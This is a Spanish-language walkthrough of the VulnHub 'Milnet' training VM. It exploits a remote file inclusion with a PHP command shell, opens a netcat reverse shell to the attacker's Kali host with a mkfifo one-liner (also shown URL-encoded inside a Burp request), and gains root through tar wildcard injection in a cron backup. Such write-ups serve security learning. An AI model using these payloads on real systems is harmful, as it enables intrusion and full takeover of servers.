

Lo primero es hacerle un nmap a la máquina:

```
root@kali:~# nmap -sV -sT -P0 192.168.0.12
```

```
Starting Nmap 7.01 ( https://nmap.org ) at 2016-06-26 13:36 EDT
Nmap scan report for 192.168.0.12
Host is up (0.0022s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     lighttpd 1.4.35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 6.66 seconds

Por tanto, la superficie de ataque es bien pequeña. Así las cosas, vemos qué hay en el puerto 80 alojado mediante el navegador web. Es una página en alemán sobre la bomba nuclear.

Utilizando ZAP o Burp, vemos que en cada petición que se realiza a uno de los apartados (bomb, main...), se hace mediante POST a esta URL:

IP de Milnet → <http://192.168.0.12/content.php>

Pero en los parámetros que se le pasan, hay una variable “route”:

```
POST /content.php HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0
Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.12/nav.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
```

route=bomb

Es decir, que hay una especie de traducción de:
<http://192.168.0.12/content.php>

a: <http://192.168.0.12/bomb.php>
o: <http://192.168.0.12/main.php>
o: <http://192.168.0.12/props.php>

Y de hecho esas páginas son accesibles.

¿Funcionará poner aquí cualquier página? Probemos...

Si probamos, utilizando el interceptor del Burp, poniendo route=<https://www.google.es/>

La pantalla simplemente se queda en blanco y no ocurre nada. Ahora bien, si utilizamos la página por defecto que nos aparece al teclear www.google.com:

https://www.google.es/?gfe_rd=cr&ei=bR5wV_7wDaGp8weGipPYAw&gws_rd=ssl

Sí que se carga dentro del frame principal. Esto quiere decir que hay una vulnerabilidad del tipo RFI.

Intentaremos cargar una shell mediante esta vulnerabilidad. Se ha intentado de todas las formas posibles alojar una shell completamente funcional en .php en un servidor e incluirla en esta referencia de la variable "route" pero nada de ello ha funcionado.

Así las cosas, alojaremos una pequeña shell en nuestro servidor local en Kali, que lance una reverse shell contra mi máquina (Kali) . Siguiendo lo que explican en esta página: <http://morgawr.github.io/hacking/2014/03/29/shellcode-to-reverse-bind-with-netcat/>

Básicamente es:

In a shell on your machine run `netcat -lvp 9999` to begin listening to inbound connections. This command should be your base operation for any reverse bind shell attack, it can be your life saver.

- In a separate shell, run `netcat -e /bin/sh 127.0.0.1 9999`

You should have received a connection in the first shell you opened. Go ahead and type some shell commands like `ls` or `whoami` to confirm that it is working. You can close the connection (from any end) with `Ctrl-C` when you're done with it.

Note: The `openbsd` version of the `netcat` command has no `-e/-c` flags. As an alternative (taken from their man page) you can execute the following command: `rm -f /tmp/f; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 9999 > /tmp/f`

Lo que está en rojo es nuestro caballo ganador puesto que ni en mi shell de Mint, ni probando en Milnet, la opción `-e`, está soportada.

Hacen falta dos cosas:

- Alojarse un pequeño script en el servidor incluido en Kali (apache2) que permita ejecutar un comando que le enviemos
- Que este comando sea la reverse shell que hemos visto arriba.

El código PHP del script será muy sencillito y nos permitirá comprobar que el RFI está funcionando, es este:

```
<?php
```

```
echo "Run command: " . htmlspecialchars($_GET['cmd']);  
system($_GET['cmd']);
```

```
?>
```

Así las cosas y mediante prueba y error con las técnicas aquí recogidas:

<https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/>

Llegamos a la conclusión de que el RFI debe ser de la forma:

```
route=192.168.0.11/sel.txt?
```

Esta es la IP de la máquina Kali. Está en formato .txt porque el site automáticamente le quita la extensión y añade el .php al final.

Así pues, vamos a intentar levantar una reverse shell. En un terminal de nuestro equipo Kali dejamos escuchando a Netcat en el puerto 9997:

```
root@kali:~# nc -lvp 9997
listening on [any] 9997 ...
```

```
192.168.0.12: inverse host lookup failed: Unknown host
connect to [192.168.0.11] from (UNKNOWN) [192.168.0.12] 52064
/bin/sh: 0: can't access tty; job control turned off
$ $ $
$
$ ls
--checkpoint-action=exec=sh shell.sh
--checkpoint=1
bomb.jpg
bomb.php
content.php
index.php
info.php
main.php
mj.jpg
nav.php
props.php
shell.sh
$ whoami
www-data
$ ^C
root@kali:~#
```

Está claro que el código para enviar la shell de forma remota no lo podemos introducir en la url “en crudo”, así que lo pasamos primero por un codificador de URLs:
<http://meyerweb.com/eric/tools/dencoder/>

Y quedaría:

```
rm%20-f%20%2Ftmp%2Ff%3B%20mkfifo%20%2Ftmp%2Ff%20%3B%20cat%20%2Ftmp%2Ff%20%7C%20%2Fbin%2Fsh%20-i%20%3E%261%20%7C%20nc%20192.168.0.11%209997%20%3E%20%2Ftmp%2Ff
```

Ahora, si con el Intercept de Burp capturamos una petición y la modificamos tal que así:

```
POST /content.php?cmd=rm%20-f%20%2Ftmp%2Ff%3B%20mkfifo%20%2Ftmp%2Ff%20%3B%20cat%20%2Ftmp%2Ff%20%7C%20%2Fbin%2Fsh%20-i%20%3E%261%20%7C%20nc%20192.168.0.11%209997%20%3E%20%2Ftmp%2Ff HTTP/1.1
Host: 192.168.0.12
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.12/nav.php
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
```

route=<http://192.168.0.11/sel.txt?>

Es decir, en el parámetro “route”, nos aprovechamos de la vulnerabilidad RFI para incluir nuestra shell, alojada en el servidor local de nuestra Kali. Viendo el código de la shell más arriba, observamos que espera la variable “cmd”. Puesto que no lo podemos poner en esta misma cadena de caracteres, ya que la aplicación colocaría al final del todo un “.php”, le pasamos esta variable en la url y codificada para que no haya problema con los caracteres especiales dentro de la URL.

Si ahora vamos a nuestra ventana del terminal:

```
root@kali:~# nc -lvp 9997
listening on [any] 9997 ...
```

```
192.168.0.12: inverse host lookup failed: Unknown host
connect to [192.168.0.11] from (UNKNOWN) [192.168.0.12] 52064
/bin/sh: 0: can't access tty; job control turned off
$$$
$
$ whoami
www-data
```

¡PREMIO!

Ya tenemos una shell inversa, sólo nos queda escalar privilegios. Husmeamos un poco por el árbol de directorios de la máquina. Vemos que dentro del home del usuario langman (el mismo que aparece también en /etc/passwd) hay una serie de archivos que no parecen más que relleno.

Sin embargo en uno llamado “DefenseCode_Unix_WildCards_Gone_Wild.txt” se nos describe una técnica de hacking que permitiría la ejecución de comandos aleatorios al no verificar el paso de parámetros a un comando de una shell de UNIX mediante wildcards.

Seguimos indagando...

Tenemos permiso denegado para casi todo, aunque encontramos accesible el directorio /etc, que aunque no contiene información de mucha utilidad, nos permite echar un ojo al archivo del crontab:

```
$ less crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab`
```

*# command to install the new version when you edit this file
and files in /etc/cron.d. These files also have username fields,
that none of the other crontabs do.*

```
SHELL=/bin/sh  
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
```

```
# m h dom mon dow user  command  
*/1 * * * * root    /backup/backup.sh  
17 * * * * root    cd / && run-parts --report /etc/cron.hourly  
25 6 * * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )  
47 6 * * 7 root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )  
52 6 1 * * root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )  
#  
$
```

Vemos que cada minuto se ejecuta el script de backup que hace un backup de la aplicación alojada:

```
$ cat /backup/backup.sh  
#!/bin/bash  
cd /var/www/html  
tar cf /backup/backup.tgz *  
$
```

Es aquí donde entra en juego la técnica que leíamos antes en el txt de las wildcards, donde nos explicaban los siguiente:

Now, for example, root user wants to create archive of all files in current directory.

```
[root@defensecode public]# tar cf archive.tar *
```

```
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-  
s0:c0.c1023  
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-  
s0:c0.c1023  
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-  
s0:c0.c1023  
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-  
s0:c0.c1023
```

*Boom! What happened? /usr/bin/id command gets executed! We've just achieved arbitrary command execution under root privileges.
Once again, there are few files created by user 'leon'.*

```
-rw-r--r--. 1 leon leon  0 Oct 28 19:19 --checkpoint=1  
-rw-r--r--. 1 leon leon  0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh  
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh
```

Options '--checkpoint=1' and '--checkpoint-action=exec=sh shell.sh' are passed to the

'tar' program as command line options. Basically, they command tar to execute shell.sh shell script upon the execution.

```
[root@defensecode public]# cat shell.sh
/usr/bin/id
```

So, with this tar argument pollution, we can basically execute arbitrary commands with privileges of the user that runs tar. As demonstrated on the 'root' account above.

Así que viendo esto, hay que crearse tres archivos, el shell.sh y los dos checkpoints. Los crearemos en el directorio del que se hace el backup para que nos pueda funcionar, es decir, /var/www/html.

Vamos a ello pues:

```
$ echo "">--checkpoint=1
$ echo "">--checkpoint-action=exec=sh shell.sh
```

Y en shell.sh programamos la acción que queremos que se ejecute como root. Lo más fácil es copiarse todo el directorio de root para investigarlo con calma, así pues el contenido de shell.sh será:

```
cp -R /root/* /var/tmp/root; chmod -R 777 /var/tmp/root
```

Antes de meter esto en shell.sh, hemos creado la carpeta /var/tmp/root. Así las cosas, después de un minuto comprobamos lo siguiente:

```
$ pwd
```

```
/var/tmp
```

```
$ ls -rlt
```

```
total 56
```

```
drwx----- 3 root          root          4096 May  21  22:58 systemd-private-
d6d06a1862684bdf8436ea87a346eef7-systemd-timesyncd.service-MWOo1d
drwx----- 3 root          root          4096 May  21  23:48 systemd-private-
35f2ed392d874edc8bbc0d16c7382669-systemd-timesyncd.service-nv1wwV
drwx----- 3 root          root          4096 Jun   4  13:40 systemd-private-
120022f272334ba19c8cc55f4588a122-systemd-timesyncd.service-mZ7BGy
drwx----- 3 root    root    4096 Jun  4 13:41 systemd-private-292c8ff2a6d34cf1bef864a1e8ffb7be-
systemd-timesyncd.service-OdJ6HI
drwx----- 3 root          root          4096 Jun   5  10:44 systemd-private-
66f61d7866f2491e92481b57c49a2418-systemd-timesyncd.service-Nxvl9L
drwx----- 3 root          root          4096 Jun   5  19:20 systemd-private-
2761756c6dfe4a198afd561a2482aa73-systemd-timesyncd.service-OUjhMP
drwx----- 3 root          root          4096 Jun   6  17:21 systemd-private-
8c9a01e2554d46c6964b6eb55680470d-systemd-timesyncd.service-7LqFN1
drwx----- 3 root          root          4096 Jun   6  17:39 systemd-private-
fdbdd83ce61f435e9ef165d6cda481ee-systemd-timesyncd.service-zEoinP
drwx----- 3 root          root          4096 Jun  12  19:32 systemd-private-
7a9ae14e5ab04a2d8f97eafcfff95462-systemd-timesyncd.service-kmYPSH
drwx----- 3 root          root          4096 Jun  17  23:32 systemd-private-
c7f59f0159664fda808f58274f8c8cee-systemd-timesyncd.service-20mERy
drwx----- 3 root          root          4096 Jun  18  12:10 systemd-private-
```

```

a9a90d9910804336b19ff75032c6104f-systemd-timesyncd.service-k9nEYR
drwx----- 3 root root 4096 Jun 27 17:50 systemd-private-
1263a17d203646edb2d99a81dfa67b9b-systemd-timesyncd.service-ZYWWIK
-rwxrwxrwx 1 root root 1727 Jun 28 20:45 root
drwsrwsrwt 2 www-data www-data 4096 Jun 28 20:46 root2
$ cd root2
$ ls -rlt
total 4
-rwsrwsrwt 1 root root 1727 Jun 28 20:49 credits.txt
$ cat credits.txt

```

```

,---,
,/. \
, ' : ,---,
; ; /,--' |
./___,/ ' | | :
| : | : :
; |. ; : | |,-- ,---.
'---' | | | : ' | / \
' : ; | | /' : / / |
| | ' ' : | | |. ' / |
' : | | | ' | : ; / |
; |. ' | : :," | / |
'---' | |, ' | : |
'---' \ \ / | |, '---' \ \ /
'---' '---' '---'

```

This was milnet for #vulnhub by @teh_warriar
I hope you enjoyed this vm!

If you liked it drop me a line on twitter or in #vulnhub.

I hope you found the clue:

/home/langman/SDINET/DefenseCode_Unix_WildCards_Gone_Wild.txt

I was sitting on the idea for using this technique for a BOOT2ROOT VM prives for a long time...

This VM was inspired by The Cuckoo's Egg.

If you have not read it give it a try:

<http://www.amazon.com/Cuckoos-Egg-Tracking-Computer-Espionage/dp/1416507787/>